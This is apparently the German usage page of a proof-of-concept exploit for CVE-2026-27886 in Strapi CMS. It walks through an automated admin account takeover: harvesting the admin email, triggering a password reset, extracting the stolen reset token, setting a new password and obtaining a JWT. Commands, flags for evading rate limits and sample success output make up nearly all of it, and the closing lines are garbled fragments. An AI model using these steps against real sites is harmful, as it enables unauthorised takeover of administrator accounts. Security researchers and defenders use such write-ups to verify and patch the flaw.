
Account-Übernahme vollständiger PoC für CVE-2026-27886 in Strapi CMS
Automatisiert die vollständige Kontoübernahme-Kette in 4 HTTP-Anforderungsgruppen:
Überprüfen, ob das Ziel verwundbar ist, ohne Ausnutzung:
./cve-2026-27886-exploit.py https://target/api/articles --verify-only
Alles automatisieren, wenn Sie die Admin-E-Mail nicht kennen:
./cve-2026-27886-exploit.py https://target/api/articles
Ausgabe:
[+] Ziel: https://target/api/articles
[+] Basis-URL: https://target
[*] Überprüfe Schwachstelle...
[+] Verwundbar: baseline=12, where_test=0
[*] Sammle Admin-E-Mail...
[email protected]
[*] Löse Passwort-Reset aus für [email protected]...
[+] Passwort-Reset ausgelöst (HTTP 204)
[*] Extrahiere 40-stelliges Reset-Token...
[100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Setze Passwort mit gestohlenem Token zurück...
[+] Passwort-Reset erfolgreich!
[+] JWT: eyJhbGciOiJIUzI1NiIs...
[+] Benutzer: [email protected] (ID: 1)
[+] ERFOLG! Admin-Konto kompromittiert.
[+] JWT-Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Wenn Sie die Admin-E-Mail bereits kennen (spart ~500 Anfragen):
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected]
Ein benutzerdefiniertes Passwort anstelle des Standard-Passworts festlegen:
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected] \
--password "MyPassword123!"
Wenn das Ziel Ratenbegrenzung hat:
./cve-2026-27886-exploit.py https://target/api/articles \
--delay 0.1
Dies fügt 100ms zwischen jeder Anfrage hinzu (~2-3 Minuten für vollständige Ausnutzung).
Wenn /admin/*-Endpunkte auf einem anderen Host liegen:
./cve-2026-27886-exploit.py https://api.target/articles \
--base-url https://admin.target
https://target/api/products, https://target/api/articles, usw.updated_by_id-Fremdschlüssel)--delay 0.05 oder höher hinzuDieses Skript: